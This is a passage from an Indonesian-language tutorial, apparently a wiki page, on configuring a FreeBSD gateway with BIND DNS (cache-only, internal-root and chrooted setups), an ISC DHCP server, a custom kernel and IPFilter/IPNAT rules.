   192.168.1.0 |  Proxy Server - Squid&lt;br /&gt;
  255.255.255.0|  SQL Server - MySQL&lt;br /&gt;
               |  &lt;br /&gt;
               |  &lt;br /&gt;
      _________|____...___    &lt;br /&gt;
     |     |     |        |  &lt;br /&gt;
   __|__ __|__ __|__    __|__&lt;br /&gt;
   Host1 Host2 Host3    HostN&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ada 3 pokok bahasan utama dalam kasus ini.&lt;br /&gt;
# DNS&lt;br /&gt;
# DHCP Server&lt;br /&gt;
# IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
lain-lain: Apache, MySQL dan Squid tidak akan dibahas panjang karena tidak esensial dalam konteks ini.&lt;br /&gt;
&lt;br /&gt;
==DNS==&lt;br /&gt;
&lt;br /&gt;
Untuk mengaktifkan name server jalankan /stand/sysinstal pilih menu Configure, kemudian Startup, lalu aktifkan (enable) named. Jika anda ingin menjalankan named dalam sandbox, isi named flags dengan argumen seperti dalam uraian butir 1.3.&lt;br /&gt;
&lt;br /&gt;
Cara lainnya adalah dengan mengedit langsung /etc/rc.conf, ganti atau tambahkan entri di &lt;br /&gt;
&lt;br /&gt;
 /etc/rc.conf:&lt;br /&gt;
   named_enable=&amp;quot;yes&amp;quot;&lt;br /&gt;
   named_flags=&amp;quot;&amp;quot;  #lihat uraian selanjutnya&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Cache-Only DNS Server==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi DNS yang paling sederhana, yang kemungkinan besar akan berjalan lancar adalah menggunakan konfigurasi jenis cache-only DNS Server, artinya server DNS kita TIDAK memiliki otoritas atas satu zone-pun juga kecuali localhost dan loopback network 127.&lt;br /&gt;
&lt;br /&gt;
Kekurangan dari model DNS Server seperti ini adalah, tentu saja, host-host dalam network kita tidak dapat saling mengenal. Hal ini bisa kita uji dengan perintah ping dari satu host terhadap host lainnya.&lt;br /&gt;
&lt;br /&gt;
cat.: Dalam terminologi BIND, zone adalah suatu area network dimana sebuah server DNS memiliki otoritas atas pengaturan nama atas host-host yang ada di dalamnya.&lt;br /&gt;
&lt;br /&gt;
Untuk network yang relatif sederhana seperti pada small-office atau di organisasi kecil, suatu zone umumnya hanya berupa satu domain, sementara di organisasi yang cukup besar, seperti di lingkungan kampus dan terutama di sebuah ISP, biasanya sebuah server DNS akan menangani suatu zone yang terdiri atas lebih dari satu domain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP kita misalnya:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
 1 IN PTR localhost.domain.box.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Untuk menghindari salah ketik, sebaiknya kita cukup menjalankan perintah: sh make-localhost di direktori /etc/namedb.&lt;br /&gt;
&lt;br /&gt;
==File root.servers:==&lt;br /&gt;
File ini tidak perlu dirubah, biarkan saja sesuai defaultnya.&lt;br /&gt;
&lt;br /&gt;
==Internal-Root DNS Server==&lt;br /&gt;
Seperti dapat dilihat pada gambar diatas, network kita termasuk kedalam network kelas C, dengan alamat 192.168.1.0 dan netmask 255.255.255.0. IP address network card pertama (if_1) ditetapkan oleh ISP, sementara if_2 dapat kita tentukan sendiri.&lt;br /&gt;
&lt;br /&gt;
Selanjutnya kita dapat menetapkan hal-hal sebagai berikut:&lt;br /&gt;
&lt;br /&gt;
 Zone/domain: domain.box&lt;br /&gt;
 Reverse-Network: 1.168.192.in-addr.arpa&lt;br /&gt;
 Server address: 192.168.1.1&lt;br /&gt;
 Server name: my.domain.box&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf:==&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi awal (Cache-Only DNS Server):==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
   version &amp;quot;19.09.1969&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi named.conf yang perlu ditambahkan (atau dirubah):==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 forward;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;domain.box&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.db&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;1.168.192.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   //file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
   file &amp;quot;box/root.box&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
Tidak perlu ada perubahan dalam file ini, sama dengan butir 1.1.2.1 diatas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==File domain.db:==&lt;br /&gt;
&lt;br /&gt;
Berisi daftar translasi name to address untuk seluruh host yang ada di domain domain.box, hati-hati character comment di sini adalah semi-colon (;) bukan hash (#).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 localhost IN A 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
 my IN A 192.168.1.1&lt;br /&gt;
 host1 in cname my&lt;br /&gt;
 host2 IN A 192.168.1.2&lt;br /&gt;
 host3 IN A 192.168.1.3&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 host254 IN A 192.168.1.254&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa dalam database ini kita perlu menambahkan entri untuk localhost, sehingga setiap rujukan atas localhost, dari manapun juga, akan diarahkan ke loopback masing-masing.&lt;br /&gt;
&lt;br /&gt;
==File domain.rev:==&lt;br /&gt;
Kebalikan dari domain.db, merupakan reverse address to name atas domain.box untuk network 192.168.1.0/24&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box. &lt;br /&gt;
&lt;br /&gt;
 1 IN PTR my&lt;br /&gt;
 2 IN PTR host1&lt;br /&gt;
 3 IN PTR host2&lt;br /&gt;
 ..&lt;br /&gt;
 254 IN PTR host254&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa tidak bisa dilakukan reverse untuk alias atau CNAME (canonical-name). Tidak diperbolehkan terdapat *dua entri yang sama* untuk *satu nomor address*, atau dengan kata lain, satu nomor adress tidak boleh merujuk kepada dua nama yang berbeda. Sebaliknya bisa saja terdapat dua nomor address untuk satu nama, misalnya jika kita memiliki dua atau lebih network card dalam satu host yang masing-masing memiliki IP sendiri.&lt;br /&gt;
&lt;br /&gt;
==File root.box:==&lt;br /&gt;
&lt;br /&gt;
File ini merupakan modifikasi dari file root.servers, yaitu dengan menambahkan RR (Resource Record) yang menyatakan bahwa server kita memiliki otoritas atas root domain.&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;domain &amp;quot;domain.box&amp;quot; didelegasikan langsung dari root&lt;br /&gt;
 domain.box. 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;juga reverse dari class-C network &lt;br /&gt;
 1.168.192.in-addr.arpa 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;glue records&lt;br /&gt;
 my.domain.box. IN A 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
 ;daftar root server selanjutnya sama dengan default di file root.servers&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==DNS Server in the sand-box==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi server DNS ini terutama ditujukan untuk memperketat sekuriti sistem network, prinsipnya sederhana, yaitu menjalankan servis DNS (named) oleh non-privilege user, untuk ini biasanya sengaja dibuat satu user khusus, tanpa fasilitas login.&lt;br /&gt;
Sebenarnya untuk model network kita yang sederhana, ancaman sekuriti yang ada mungkin tidak akan terlalu serius. Konfigurasi ini bisa jadi sebagai opsi yang bisa diambil ataupun tidak.&lt;br /&gt;
&lt;br /&gt;
1.3.1&lt;br /&gt;
  Buat user baru untuk servis DNS, misalnya dengan nama: bind.&lt;br /&gt;
  User group: bind (default)&lt;br /&gt;
  User home: /usr/local/bind&lt;br /&gt;
  shell: no, nologin atau nonexistent&lt;br /&gt;
&lt;br /&gt;
1.3.2&lt;br /&gt;
  ganti atau tambahkan entri di /etc/rc.conf:&lt;br /&gt;
  named_flags=&amp;quot;-u bind -g bind -w /usr/local/bind -c named.conf -t /usr/local/bind&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Penjelasan atas argumen:&lt;br /&gt;
  -u dan -g: user serta group yang menjalankan servis DNS adalah &amp;quot;bind&amp;quot;.&lt;br /&gt;
  -w dan -c: direktori kerja dan nama file konfigurasi yang dipakai.&lt;br /&gt;
  -t: setelah melakukan inisialisasi, servis DNS menjadikan /usr/local/bind&lt;br /&gt;
  sebagai root direktorinya (chroot).&lt;br /&gt;
&lt;br /&gt;
  Dengan penggantian user, group dan chroot, servis DNS ini tidak lagi memiliki akses tak-terbatas atas resources, sehingga perlu dilakukan lagi beberapa penyesuaian:&lt;br /&gt;
&lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Servis named dan ndc biasanya menampilkan prosess-id-nya dibawah sub-direktori /var/run, karena root-directory-nya berubah, maka kita harus membuat secara manual subdirektori /var/run dibawah /usr/local/bind, jangan lupa ownershipnya harus disesuaikan menjadi bind:bind&lt;br /&gt;
  &lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Jika penyesuaian sub-direktori diatas tidak dilakukan maka setidaknya harus dibuat penyesuaian dalam option named.conf:&lt;br /&gt;
[pre]&lt;br /&gt;
  options {&lt;br /&gt;
    ...&lt;br /&gt;
&lt;br /&gt;
    directory &amp;quot;/&amp;quot;; //(atau mudahnya hapus saja option ini)&lt;br /&gt;
    pid-file &amp;quot;named.pid&amp;quot; //named.pid berada di direktori root yang baru&lt;br /&gt;
&lt;br /&gt;
    ...&lt;br /&gt;
  }&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
1.3.3&lt;br /&gt;
&lt;br /&gt;
  Pindahkan atau salin /etc/namedb ke /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  cat.: Perhatikan ownership dari /usr/local/bind, jika kita menyalinnya dengan tool atau file-manager seperti midnight- commander, biasanya ownership akan berubah dari bind ke root (atau privileged user pada saat itu), sehingga harus dikembalikan lagi dengan chown -r bind:bind /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  Penyesuaian ownership ini juga berlaku untuk direktori baru dibawahnya yang kelak digunakan untuk file-file yang meminta akses-tulis seperti log, dump, stat, pid, dsb. &lt;br /&gt;
&lt;br /&gt;
1.3.4&lt;br /&gt;
[pre]&lt;br /&gt;
  Hentikan proses named yang saat itu berlangsung (dengan kill, killall atau top), lalu aktifkan kembali named (dengan argumen seperti named_flags diatas), atau reboot server.&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
2. DHCP Server&lt;br /&gt;
&lt;br /&gt;
2.1. Instalasi dan Setup&lt;br /&gt;
&lt;br /&gt;
Dengan /stand/sysinstall, install package isc-dhcpd.&lt;br /&gt;
Instalasi ini hanya sekedar mengekstrak program dan dokumentasi dhcpd, kita *harus* membuat sebuah file yaitu /var/db/dhcpd.lease secara manual: touch /var/db/dhcpd.leases.&lt;br /&gt;
Edit file /usr/local/etc/dhcpd.conf dengan editor kesayangan anda, fi-ay :), dan buat alokasi dinamis IP addresses untuk network 192.168.1.0/24 misalnya:&lt;br /&gt;
&lt;br /&gt;
#jangan lupa menggunakan fasilitas syslog&lt;br /&gt;
#dalam syslog.conf tambahkan entry sbb:&lt;br /&gt;
#  local7*	/var/log/dhcpd.log	#awas: pake TAB, jangan pake spasi!&lt;br /&gt;
&lt;br /&gt;
log-facility local7;&lt;br /&gt;
authoritative;&lt;br /&gt;
ddns-update-style ad-hoc;&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;domain.box&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
subnet 192.168.1.0 netmask 255.255.255.0 {&lt;br /&gt;
  option netbios-name-servers 192.168.1.3; #server NT kita&lt;br /&gt;
  option domain-name-servers 192.168.1.1;&lt;br /&gt;
  option routers 192.168.1.1;&lt;br /&gt;
  pool { range 192.168.1.10 192.168.1.190; }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2.2. Menjalankan dhcpd&lt;br /&gt;
DHCP server sebaiknya dijalankan pada saat boot-up dengan membuat file startup di /usr/local/etc/rc.d&lt;br /&gt;
Untuk menjalankan secara manual ketikan perintah: dhcpd if_2 (if_2 adalah interface yang terhubung dengan network lokal)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
&#039;Official&#039; firewall dari FreeBSD adalah ipfw/natd, kelebihan ipfw terutama adalah kemampuan untuk mengatur kuota bandwith, sementara kelebihan ipf/ipnat yang paling utama adalah performansi. Juga menurut authornya, ipf benar-benar melakukan kontrol terhadap TCP/IP state, tidak cuma artifisial (sekedar mengecek kombinasi flags tertentu seperti SYN/ACK) seperti yang dilakukan dalam paket firewall lainnya.&lt;br /&gt;
&lt;br /&gt;
Dalam bahasan kali ini, kita akan menggunakan IPFilter/IPNAT.&lt;br /&gt;
&lt;br /&gt;
3.1. Kompilasi kernel&lt;br /&gt;
&lt;br /&gt;
Untuk memasang firewall kita harus mengkompile ulang kernel (selanjutnya kita bisa mencopot-pasang lagi lewat loadable kernel module).&lt;br /&gt;
&lt;br /&gt;
3.1.1 Konfigurasi kernel&lt;br /&gt;
&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
option tambahan kernel kita dari GENERIC adalah sbb:&lt;br /&gt;
&lt;br /&gt;
#--- start kernel options ---&lt;br /&gt;
#hapus semua options cpu kecuali model tertinggi sesuai cpu anda&lt;br /&gt;
#cpu		I386_CPU&lt;br /&gt;
#cpu		I486_CPU&lt;br /&gt;
#cpu		I586_CPU&lt;br /&gt;
cpu		I686_CPU&lt;br /&gt;
maxusers	32&lt;br /&gt;
&lt;br /&gt;
#kostumisasi kernel (lihat juga catatan tambahan)&lt;br /&gt;
ident		AA&lt;br /&gt;
makeoptions	KERNEL=AA		&lt;br /&gt;
&lt;br /&gt;
#jangan lupa mengganti entri di /boot atau /etc/defaults/rc.conf&lt;br /&gt;
#userconfig_script_load=&amp;quot;YES&amp;quot;&lt;br /&gt;
#kernel=&amp;quot;/AA&amp;quot;&lt;br /&gt;
#verbose_loading=&amp;quot;YES&amp;quot;&lt;br /&gt;
#autoboot_delay=&amp;quot;3&amp;quot;&lt;br /&gt;
#bootfile=&amp;quot;AA,aa,kernel&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#kita tidak memakai 386SX kebawah, jadi emulasi mathco bisa dihapus saja&lt;br /&gt;
#options 	GPL_MATH_EMULATE	#Support for x87 emulation&lt;br /&gt;
&lt;br /&gt;
#console menggunakan teks mode 90x60&lt;br /&gt;
device		vga0	at isa?&lt;br /&gt;
options		VGA_WIDTH90		#90 baris VGA&lt;br /&gt;
options		VESA&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti tambahkan font dan screenflags di /etc/rc.conf sbb:&lt;br /&gt;
#font8x14=&amp;quot;cp437-8x14&amp;quot;&lt;br /&gt;
#font8x16=&amp;quot;cp437-8x16&amp;quot;&lt;br /&gt;
#font8x8=&amp;quot;cp437-8x8&amp;quot;&lt;br /&gt;
#allscreens_flags=&amp;quot;VGA_90x60&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#hapus splash screen/screen saver.&lt;br /&gt;
#pseudo-device	splash&lt;br /&gt;
&lt;br /&gt;
#selain UFS, dalam box kita terdapat juga NTFS dan EXT2FS&lt;br /&gt;
options 	NTFS		#NT&lt;br /&gt;
options 	EXT2FS		#Linux&lt;br /&gt;
options         NFS_NOSERVER	#Membuang kode NFS&lt;br /&gt;
&lt;br /&gt;
#options         UNION		#UFS bisa digabung&lt;br /&gt;
#options         NULLFS		#null&lt;br /&gt;
#options         UMAPFS		#UID Map FileSystem&lt;br /&gt;
#options         KERNFS		#kernel&lt;br /&gt;
#options         SMBFS		#SMB/File Sharing ala Windows&lt;br /&gt;
#options         PROCFS		#memetakan Process ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Tambahkan flags 0xb0ff (maks. drive blok transfer) untuk hard-disk&lt;br /&gt;
# untuk sepasang hard-disk per-interface flagsnya adalah 0xb0ffb0ff&lt;br /&gt;
device	ata0	at isa? port IO_WD1 irq 14 flags 0xb0ffb0ff&lt;br /&gt;
device	ata1	at isa? port IO_WD2 irq 15 flags 0xb0ffb0ff&lt;br /&gt;
&lt;br /&gt;
options 	SOFTUPDATES	#penting untuk meningkatkan performansi&lt;br /&gt;
options 	ATA_STATIC_ID	#Static device numbering&lt;br /&gt;
&lt;br /&gt;
#hapus saja tape-drive.&lt;br /&gt;
#device		atapist		# ATAPI tape drives&lt;br /&gt;
&lt;br /&gt;
# jika menggunakan APM, sebaiknya tidak.&lt;br /&gt;
#device	apm0    at nexus? disable flags 0x20 # Advanced Power Management&lt;br /&gt;
&lt;br /&gt;
# PCCARD (PCMCIA) support, buang saja&lt;br /&gt;
#device	card&lt;br /&gt;
#device	pcic0	at isa? irq 0 port 0x3e0 iomem 0xd0000&lt;br /&gt;
#device	pcic1	at isa? irq 0 port 0x3e2 iomem 0xd4000 disable&lt;br /&gt;
&lt;br /&gt;
#Buang saja serial 2 dan 3&lt;br /&gt;
#device	sio2	at isa? disable port IO_COM3 irq 5&lt;br /&gt;
#device	sio3	at isa? disable port IO_COM4 irq 9&lt;br /&gt;
&lt;br /&gt;
#Buang juga koneksi lewat Parallel port&lt;br /&gt;
#device	plip		# TCP/IP over parallel&lt;br /&gt;
#device	ppi		# Parallel port interface device&lt;br /&gt;
#device	vpo		# Requires scbus and da&lt;br /&gt;
&lt;br /&gt;
#Buang semua entri ethernet yang tidak ada&lt;br /&gt;
#saya cuma punya 3Com 3C509, 3C905 dan realtek&lt;br /&gt;
device	ep		# 3Com 3C509 (10 MBps)&lt;br /&gt;
device	xl		# 3Com 3c905 (10/100)&lt;br /&gt;
device	rl		# RealTek 8129/8139 (10/100)&lt;br /&gt;
#device	de		# Realtek lama (10)&lt;br /&gt;
&lt;br /&gt;
#Banyak software yang tergantung kepada bpf&lt;br /&gt;
#(discouraged), tapi sebaiknya tetap dipasang&lt;br /&gt;
pseudo-device	bpf		#Berkeley packet filter&lt;br /&gt;
&lt;br /&gt;
#Buang semua options USB yang hardwarenya tidak ada&lt;br /&gt;
device	uhci		# UHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	ohci		# OHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	usb		# USB Bus (required)&lt;br /&gt;
device	ugen		# Generic&lt;br /&gt;
#device	uhid		# &amp;quot;Human Interface Devices&amp;quot;&lt;br /&gt;
#device	ukbd		# Keyboard&lt;br /&gt;
#device	ulpt		# Printer&lt;br /&gt;
#device	umass		# Disks/Mass storage - Requires scbus and da&lt;br /&gt;
#device	ums		# Mouse&lt;br /&gt;
#device	uscanner	# Scanners&lt;br /&gt;
# USB Ethernet, requires mii&lt;br /&gt;
#device	aue		# ADMtek USB ethernet&lt;br /&gt;
#device	cue		# CATC USB ethernet&lt;br /&gt;
#device	kue		# Kawasaki LSI USB ethernet&lt;br /&gt;
&lt;br /&gt;
#Soundcard (generik)&lt;br /&gt;
device		pcm&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti untuk membuat entri2 sound&lt;br /&gt;
#(audio, mixer, sequencer dll) di /dev:&lt;br /&gt;
#cd /dev&lt;br /&gt;
#./MAKEDEV snd &lt;br /&gt;
&lt;br /&gt;
#Intel PIIX4 Power Management Unit&lt;br /&gt;
#device smbus &lt;br /&gt;
#device intpm&lt;br /&gt;
&lt;br /&gt;
#Berhubung SCSI card saya sudah sangat kuno, akhirnya saya cabut :)&lt;br /&gt;
#Jika tidak memiliki SCSI, semua options yang behubungan dengan skasi&lt;br /&gt;
#bisa dibuang&lt;br /&gt;
&lt;br /&gt;
#options 	SCSI_DELAY=8000		#Delay (in ms) before probing SCSI&lt;br /&gt;
# SCSI Controllers&lt;br /&gt;
#...&lt;br /&gt;
# SCSI peripherals&lt;br /&gt;
#...&lt;br /&gt;
&lt;br /&gt;
#Jika menggunakan firewall bawaan FreeBSD:&lt;br /&gt;
#options	IPFIREWALL&lt;br /&gt;
#options	IPDIVERT&lt;br /&gt;
#options	IPFIREWALL_VERBOSE&lt;br /&gt;
#options	IPFIREWALL_VERBOSE_LIMIT=32&lt;br /&gt;
#options	IPFIREWALL_DEFAULT_TO_ACCEPT&lt;br /&gt;
&lt;br /&gt;
#Jika anda memasang bandwith quota tambahkan entri dibawah ini&lt;br /&gt;
#options	IPDIVERT	#digunakan juga oleh ipfw/natd&lt;br /&gt;
#options	DUMMYNET&lt;br /&gt;
#options	QUOTA&lt;br /&gt;
&lt;br /&gt;
#Konfigurasi ipfilter/ipnat ini yang kita pakai&lt;br /&gt;
#cat. jika menggunakan IPFilter TIDAK PERLU ditambahkan&lt;br /&gt;
#lagi options IPDIVERT seperti yang terdapat dalam&lt;br /&gt;
#beberapa dokumentasi online&lt;br /&gt;
&lt;br /&gt;
options		IPFILTER&lt;br /&gt;
options		IPFILTER_LOG&lt;br /&gt;
options		IPFILTER_DEFAULT_BLOCK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#untuk memperketat firewall bisa ditambahkan options dibawah ini:&lt;br /&gt;
options		IPSTEALTH&lt;br /&gt;
options		TCP_DROP_SYNFIN&lt;br /&gt;
options		TCP_RESTRICT_RST	&lt;br /&gt;
&lt;br /&gt;
options         MROUTING&lt;br /&gt;
options         RANDOM_IP_ID&lt;br /&gt;
&lt;br /&gt;
#beberapa options lainnya untuk memacu performa&lt;br /&gt;
options         NBUF=4096&lt;br /&gt;
options         NMBCLUSTERS=8192&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#catatan tambahan:&lt;br /&gt;
&lt;br /&gt;
#Jika anda ingin mengubah release, copyright et-al., lakukan perubahan ini&lt;br /&gt;
#di /usr/src/sys/conf/newvers.sh&lt;br /&gt;
&lt;br /&gt;
#dari original&lt;br /&gt;
#TYPE=&amp;quot;FreeBSD&amp;quot;&lt;br /&gt;
#REVISION=&amp;quot;4.3&amp;quot;&lt;br /&gt;
#BRANCH=&amp;quot;RELEASE&amp;quot;&lt;br /&gt;
#RELEASE=4.3-RELEASE&lt;br /&gt;
#VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
if [ X&amp;quot;$COPYRIGHT&amp;quot; = X ]; then&lt;br /&gt;
	COPYRIGHT=&amp;quot;/*&lt;br /&gt;
 * Copyright (c) $year&lt;br /&gt;
 *	FreeBSD Inc. All rights reserved.&lt;br /&gt;
 *&lt;br /&gt;
 */&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
#menjadi violated&lt;br /&gt;
TYPE=&amp;quot;mbakNunix&amp;quot;&lt;br /&gt;
REVISION=&amp;quot;1.31&amp;quot;&lt;br /&gt;
BRANCH=&amp;quot;BURIX&amp;quot;&lt;br /&gt;
RELEASE=1.31-BURIX&lt;br /&gt;
VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
COPYRIGHT=&amp;quot;&lt;br /&gt;
/*** aa, aa.delphi@yahoo.com, 1995-$year ***/&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2.1.2 Kompilasi&lt;br /&gt;
&lt;br /&gt;
Akhirnya kita kompile kernel sbb:&lt;br /&gt;
&lt;br /&gt;
su (kita harus root)&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
chflags noschg AA (jika sekuriti diperketat, biasanya kernel diberi flag schg)&lt;br /&gt;
&lt;br /&gt;
  /usr/sbin/config -r AA &amp;amp;&amp;amp; \&lt;br /&gt;
  cd ../../compile/$1 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make depend) 2&amp;gt;~/err1 &amp;amp;&amp;amp; \&lt;br /&gt;
  make 2&amp;gt;~/err2 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make install) 2&amp;gt;~/err3&lt;br /&gt;
&lt;br /&gt;
semua error message masing-masing akan dicatat di /root, file: err1, err2 dan err3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2. Mengkonfigurasi IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
3.2.1. Konfigurasi rc.conf&lt;br /&gt;
Konfigurasi umum seperti biasa dilakukan di rc.conf&lt;br /&gt;
&lt;br /&gt;
3.2.2. Konfigurasi syslog.conf&lt;br /&gt;
&lt;br /&gt;
3.2.3. Tuning sysctl.conf&lt;br /&gt;
net.inet.ip.forwarding=1&lt;br /&gt;
net.inet.ip.fastforwarding=1&lt;br /&gt;
&lt;br /&gt;
3.2.4. ipnat.rules&lt;br /&gt;
Rules untuk IPNAT dibahas lebih dulu karena relatif jauh lebih sederhana daripada rules untuk IPF&lt;br /&gt;
&lt;br /&gt;
Catatan:&lt;br /&gt;
map artinya: remap SOURCE  packet&#039;s IP address&lt;br /&gt;
rdr artinya: redirect DESTINATION of packet&#039;s IP address&lt;br /&gt;
&lt;br /&gt;
Tambahkan baris berikut untuk mengemap :) port ftp&lt;br /&gt;
&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 proxy port 21 ftp/tcp&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 portmap tcp/udp 49152:65535 #nomor port bebas antara 0-65535&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32&lt;br /&gt;
&lt;br /&gt;
HTTP request di redirect ke server&lt;br /&gt;
&lt;br /&gt;
  rdr rl1 0/32 port 80 -&amp;gt; 192.168.1.1 port 80 tcp&lt;br /&gt;
&lt;br /&gt;
#jika perlu permintaan http dari lokal bisa di redirect ke SQUID port 3128&lt;br /&gt;
#rdr rl0 0.0.0.0/0 port 80 -&amp;gt; 192.168.1.1 port 3128 tcp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5. ipf.rules&lt;br /&gt;
&lt;br /&gt;
Default konfigurasi adalah block in all, block out all artinya dengan konfigurasi seperti ini server kita benar-benar jadi mahluk egois, tidak mau melihat kanan-kiri sedikitpun :)&lt;br /&gt;
&lt;br /&gt;
konfigurasi paling sederhana yang bisa berjalan adalah:&lt;br /&gt;
&lt;br /&gt;
  pass in all&lt;br /&gt;
  pass out all&lt;br /&gt;
&lt;br /&gt;
